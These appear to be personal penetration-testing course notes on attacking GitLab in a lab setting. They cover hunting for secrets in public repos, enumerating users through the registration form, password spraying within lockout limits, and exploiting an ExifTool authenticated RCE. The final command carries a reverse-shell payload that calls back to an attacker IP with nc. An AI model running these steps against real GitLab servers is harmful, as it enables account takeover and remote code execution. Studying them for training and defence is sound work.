---
title: "11. GitLab"
date: 2025-01-17
draft: false
---

Git repo hosting tool 
- wiki capabilties
- issue tracking
- CICD

Go, ruby on rails, vue.js 
Free + open source but also offer paid enterprise version 

Similar to github and bitbucket 
comparison: https://stackshare.io/stackups/bitbucket-vs-github-vs-gitlab 

Common to come across interesting data in these git repos 
Hold publicly available code. 
- SSH keys
- Cleartext secrets
- Users

Allow public repos w/ no auth - Internal repos w/ auth, private repos (restricted) 
Worth going through public repos for sensitive data and - if app allows - register an account to find interesting internal repos 
Most companies will only allow a user with a company email to register + require administrator to authorize an account - but gitlab instance can be setup to allow anyone to register + login 

If we obtain user creds from OSINT we may be able to login to gitlab. 2FA disabled by default. 

**Only way to footprint gitlab version number in use is by browsing to `/help` when logged in.**
If unable to login, try to low risk exploit like https://www.exploit-db.com/exploits/49821
Do not recommend launching various exploits at an application so if we cannot enum version, stick to hunting for secrets - no blind exploit launching

List of serious exploits:
```bash
There have been a few serious exploits against GitLab [12.9.0](https://www.exploit-db.com/exploits/48431) and GitLab [11.4.7](https://www.exploit-db.com/exploits/49257) in the past few years as well as GitLab Community Edition [13.10.3](https://www.exploit-db.com/exploits/49821), [13.9.3](https://www.exploit-db.com/exploits/49944), and [13.10.2](https://www.exploit-db.com/exploits/49951).
```

**Enumeration**
Not much without knowing version or being logged in. 
Attempt browse to `/explore` 
Public projects can be interesting because we can use them to find out more about company infra + find prod code to find a bug in after code review - hardcoded creds, or script/conf with creds, other secrets like ssh or api keys

Always check to register an account to access other projects. 
Check groups, snippets, and help. 

If corp did not setup gitlab correctly to only allow company emails to register, or require admin to approve, we can access other data 

Registration form can be used to enumerate valid users. 
- Make list valid users
- Guess weak passwords or reuse creds from password dump (Think Dehashed)

Register with email already taken returns error: `1 error prohibited this user from being saved: email already taken`

Creds for module: **hacker:Welcome** 

https://tillsongalloway.com/finding-sensitive-information-on-github/index.html

## Attacking gitlab
If able to gain access as valid comp user / admin potentially able to uncover enough data to fully compromise an org in some way. 

https://www.cvedetails.com/vulnerability-list/vendor_id-13074/Gitlab.html
553 cves as of sept 2021

**Username enumeration**
Gitlab doesn't consider this a vuln lol 
https://hackerone.com/gitlab?type=team
Can result in access if weak passwords. 
Example script https://www.exploit-db.com/exploits/49821 to enumerate users
Python3 version of the same tool above: https://github.com/dpgg101/GitLabUserEnum
As with any pw spray - mindful of account lockout or other interrupts 
**Gitlab default is 10 failed attempts, auto unlock after 10 minutes**
https://gitlab.com/gitlab-org/gitlab-ce/blob/master/config/initializers/8_devise.rb
This is alterable, but gitlab would have to be compiled by source 
No way to change this from admin UI - but admin can modify minimum password length 

```shell-session
./gitlab_userenum.sh --url http://gitlab.inlanefreight.local:8081/ --userlist users.txt
```

**Authenticated RCE**
Gitlab community 13.10.2 and lower suffer from auth rce vulns due to issue with ExifTool handling metadata in uploaded image files. 
https://hackerone.com/reports/1154542
https://www.exploit-db.com/exploits/49951
Requires auth user. However, if registration is open, its fairly trivial to get a shell

```shell-session
 python3 gitlab_13_10_2_rce.py -t http://gitlab.inlanefreight.local:8081 -u mrb3n -p password1 -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.15 8443 >/tmp/f '
```
